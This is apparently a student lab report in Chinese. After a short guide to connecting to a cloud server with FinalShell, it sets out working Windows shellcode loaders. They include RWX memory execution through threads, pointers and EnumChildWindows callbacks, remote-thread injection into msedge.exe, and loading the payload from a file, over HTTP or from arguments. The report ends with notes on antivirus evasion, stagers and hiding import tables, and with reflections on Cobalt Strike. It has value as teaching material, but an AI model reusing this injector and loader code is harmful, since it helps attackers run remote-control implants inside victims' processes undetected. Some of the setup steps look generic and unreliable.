目录
四.线程加载的免杀效果优于指针加载吗?为什么这三种方法都是线程加载?
一.阿里云服务器与FinalShell连接
步骤一:下载并安装FinalShell
首先,需要在电脑上下载并安装老师发在群里的FinalShell。
步骤二:登录阿里云
在安装完FinalShell后,登录阿里云账号。在FinalShell的主界面中,找到并点击“设置”按钮,然后在弹出的窗口中输入你的阿里云账号和密码。
步骤三:选择阿里云服务器
在登录阿里云后,选择阿里云服务器。在FinalShell的主界面中,找到并点击“服务器”按钮,然后在弹出的窗口中选择阿里云服务器。
步骤四:配置服务器连接
选择阿里云服务器后,需要配置服务器连接。在弹出的窗口中,需要输入阿里云服务器的IP地址、端口号和用户名和密码。
步骤五:测试连接
配置服务器连接后,需要测试连接。在FinalShell的主界面中,找到并点击“测试”按钮,然后等待测试结果。如果测试成功,就会看到一个绿色的“已连接”消息。
步骤六:使用FinalShell
测试连接成功后,就可以使用FinalShell来连接和管理阿里云服务器了。在FinalShell的主界面中,可以看到你的阿里云服务器的所有资源,如文件、目录、进程等。
连接成功后截图:
图一 阿里云服务器
图二 FinalShell界面
二.代码运行训练
代码一:
#include<stdio.h>
#include<Windows.h>
#include<fstream>
#include<iostream>
#include<TlHelp32.h>
using namespace std;
int main() {
char filename[] = "D:\\C++\\模板\\模板\\box.dll";
ifstream infile;
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end);
int length = infile.tellg();
infile.seekg(0, infile.beg);
char* datath = new char[length];
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(datath, length);
}
LPVOID addr = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(addr, datath, length);
HANDLE HThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)addr, 0, 0, 0);
WaitForSingleObject(HThread, -1);
// 调用函数执行创建远程线程的操作
// createThreadTest();
return 0;
}
运行截图:
代码块二:
#include<stdio.h>
#include<Windows.h>
#include<fstream>
#include<iostream>
#include<TlHelp32.h>
using namespace std;
// 函数用于创建远程线程执行 shellcode
void createThreadTest() {
char filename[] = "D:\\C++\\模板\\模板\\box.dll";
// 以读模式打开文件
ifstream infile;
//以二进制方式打开
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end); //追溯到流的尾部
int length = infile.tellg(); //获取流的长度
infile.seekg(0, infile.beg);//回溯到流头部
char* data = new char[length]; //存取文件内容
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(data, length);
}
HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot_handle != INVALID_HANDLE_VALUE) {
// 枚举进程
PROCESSENTRY32 process_entry;
process_entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot_handle, &process_entry)) {
do {
// 将进程名转换为宽字符串
std::wstring extFileName(process_entry.szExeFile);
// 如果进程名包含 "msedge.exe" 则进行以下操作
if (extFileName.find(L"msedge.exe") != std::string::npos) {
// 打开进程
HANDLE process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID);
if (process_handle != NULL) {
// 在远程进程中分配内存
LPVOID remote_buffer = VirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remote_buffer != NULL) {
SIZE_T bytes_written;
// 将 code 写入远程进程内存
if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) {
std::cout << "Remote buffer address: " << remote_buffer << std::endl;
// 在远程进程中创建线程执行 code
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
if (remote_thread != NULL) {
// 等待线程结束
WaitForSingleObject(remote_thread, INFINITE);
CloseHandle(remote_thread);
}
}
// 关闭远程内存句柄
CloseHandle(remote_buffer);
}
// 关闭进程句柄
CloseHandle(process_handle);
}
}
} while (Process32Next(snapshot_handle, &process_entry)); // 继续枚举下一个进程
}
// 关闭进程快照句柄
CloseHandle(snapshot_handle);
}
}
//远控的上线程序会变成你的注入目标程序
//User,管理员,System
//主函数
int main() {
createThreadTest();
return 0;
}
三. Shellcode多种加载方式与分离
3.1shellcode的执行,本质就是内存执行
首先,如果要执行一段代码,那么存储代码的内存必须拥有可执行权限。
最简单的exe(数据段,代码段)
数据段的权限(可读,可写)
代码段的权限(可读,可执行)
(可读,可写,可执行)
3.2存放shellcode的内存需要X权限
1.声明数据段可执行
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode";
2.申请可执行内存
LPVOID exec = VirtualAlloc(NULL, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
SIZE_T size;
WriteProcessMemory(GetCurrentProcess(), exec, shellcode, sizeof shellcode, &size);
3.指针执行
(*(int(*)()) shellcode_addr)();
(*(void(*)()) shellcode_addr)();
((void(*)(void)) & buf)();
4.直接指针执行
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "你的shellcode";
int main()
{
((void(*)(void)) & buf)();
}
4.内存指针执行
#include <Windows.h>
#include <stdio.h>
int main()
{
unsigned char buf[] = "shellcode";
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
}
5.线程执行
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)shellcode, NULL, 0, NULL);
6.直接线程执行
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "你的shellcode";
int main()
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buf, NULL, 0, NULL);
}
7.内存线程执行
#include <Windows.h>
#include <stdio.h>
unsigned char buf[] = "";
int main()
{
void* exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
WaitForSingleObject(thread, -1);
return 0;
}
3.3采用各种回调函数
1.什么是回调函数
#include<stdio.h>
void call_b(const char* hello)
{
printf(hello);
}
int main()
{
void (*p)(const char* s);
p = call_b;
p("Hello World!\n");
return 0;
}
准确来讲,这种并不是一个回调函数。
典型的回调函数用于在某些事件发生时被调用。
比如当某个操作执行完后,再去执行某一个函数。
2.利用能够执行代码的函数实现回调
#include<Windows.h>
int main() {
unsigned char buf[] = "shellcode";
LPVOID shell_addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(shell_addr, buf, sizeof(buf));
EnumChildWindows(NULL, (WNDENUMPROC)shell_addr, NULL);
return 0;
}
3.4shellcode分离载入内存
1.最常用的分离:文件分离
#include<fstream.h>
#include<iostream.h>
#include<stdio.h>
using namespace std;
char filename[] = "你的bin文件路径";
ifstream infile;
infile.open(filename, ios::out | ios::binary);
infile.seekg(0, infile.end);
int length = infile.tellg();
infile.seekg(0, infile.beg);
char* datath = new char[length];
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(datath, length);
}
2.HTTP载入
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#define BUFFER_SIZE 1024
int main() {
HINTERNET hInternet, hConnect, hRequest;
DWORD bytesRead;
char buffer[BUFFER_SIZE];
DWORD totalBytesRead = 0;
// 初始化 WinINet
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) {
printf("初始化失败\n");
return 1;
}
// 连接到服务器
hConnect = InternetConnect(hInternet, L"127.0.0.1", 8080, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!hConnect) {
printf("连接失败\n");
InternetCloseHandle(hInternet);
return 1;
}
// 打开请求
hRequest = HttpOpenRequest(hConnect, L"GET", L"/", NULL, NULL, NULL, 0, 0);
if (!hRequest) {
printf("打开请求失败\n");
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
// 发送请求
if (!HttpSendRequest(hRequest, NULL, 0, NULL, 0)) {
printf("发送请求失败\n");
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
// 创建内存缓冲区
char* response_data = (char*)malloc(1); // 初始大小为1字节
if (!response_data) {
printf("内存分配失败\n");
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
// 接收响应
do {
if (!InternetReadFile(hRequest, buffer, BUFFER_SIZE, &bytesRead)) {
printf("读取失败\n");
free(response_data);
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
// 将数据写入内存缓冲区
response_data = (char*)realloc(response_data, totalBytesRead + bytesRead + 1); // 扩展内存
if (!response_data) {
printf("内存分配失败\n");
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 1;
}
memcpy(response_data + totalBytesRead, buffer, bytesRead);
totalBytesRead += bytesRead;
} while (bytesRead > 0);
// 在读取的数据末尾添加 null 终止符
response_data[totalBytesRead] = '\0';
// 输出响应数据
printf("响应数据:\n%s\n", response_data);
// 释放资源
free(response_data);
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return 0;
}
3.参数分离
int main(int argc, char* argv[])
{
if (argc == 3)
{
//将字符串转化为整数
BOOL result = Session0Inject((DWORD)atoi(argv[1]), argv[2]);
if (-1 == result)
{
printf("注入失败\n");
}
else
{
printf("注入成功\n");
}
}
else
{
printf("两个参数,1为pid,2为dll的绝对路径\n");
exit(1);
}
}
4.对几种加载方式的灵活应用
远程线程->线程内存加载
APC注入->线程内存加载
傀儡进程->程内存加载
四.线程加载的免杀效果优于指针加载吗?为什么这三种方法都是线程加载?
4.1区别
stager(分阶段)(小马),马——木马
小 —— 大小
文件大小。
stageless(无阶段)
文件大小——大
300kb。
stager(为什么小)(单纯因为代码简单,没用进行绕过?)
stager(不是上线程序,是下载上线程序的程序)
stageless(能直接上线的一共shellcode)
少一段网络连接。只需要与远控程序建立连接
stager 还需要网络拉取大马
心跳包
防止被检测的一个手段
远控的间歇性连接
内存自解密
(加密后的在程序的最开始,加入了一串用于解密后面的shellcode)
导入表
IAT INT(I Address Table)(I Name Table)
用于记录程序所使用的函数。
导出表
记录的程序提供给其他程序使用的函数
可执行程序都会有导入表和导出表
exe,dll,sys,.so
双击dll不能执行,sys不能执行的。
一般情况下不会自身执行
dll(动态链接库文件)sys(驱动文件)
dll是为exe提供导出函数的文件。
exe使用dll提供的导出函数。
sys(专门的驱动加载)
dll与exe本质上完全没用区别(解析不同,使用方式不同)
dll(专门提供)(导出表会有很多函数)
exe(一般不会有导出函数)
启发式查杀(静态的,沙箱(用于检测动态),API调用链(通过导入表))
{'h','l','l'};
动态调用(隐藏导入表)
五.个人心得体会
在进行阿里云服务器与Linux系统连接的实验中,我深刻体会到了远程服务器管理的便利和重要性。通过SSH协议,我能够安全地远程登录阿里云服务器,并进行各种管理和操作。
首先,连接阿里云服务器需要进行一些基本的配置,如获取服务器的公网IP地址、设置SSH密钥等。这些步骤虽然简单,但是对于确保连接安全和稳定性至关重要。
其次,一旦连接成功,我可以通过命令行界面来执行各种操作,例如文件管理、软件安装、系统配置等。这种方式不仅高效,而且能够让我更加深入地了解和控制服务器的运行状态。
在实验过程中,我学习到了如何有效地使用SSH命令,例如登录服务器、传输文件、创建备份等。这些技能不仅对于个人学习有帮助,对于专业的系统管理员或开发人员来说,也是必备的技能之一。
配置和使用 Cobalt Strike 是学习网络安全中的一次重要实验。Cobalt Strike 是一个强大的渗透测试工具,主要用于红队攻击模拟和渗透测试。在实验过程中,我学习到了以下几点体会:
首先,配置 Cobalt Strike 需要熟悉其基本架构和使用方法。通过查阅文档和教程,我了解了如何下载、安装和启动 Cobalt Strike,以及如何设置监听器、生成payload等基本操作。
最重要的是,配置 Cobalt Strike 的过程不仅仅是技术层面的学习,更是对安全意识和责任的提醒。总结而言,配置和使用 Cobalt Strike 是一次深刻的学习经历,不仅提升了我的渗透测试技能,也加深了我对网络安全防御策略的理解和认识。这种经验不仅对我个人的技术发展有益,也为未来在网络安全领域的职业规划奠定了坚实的基础。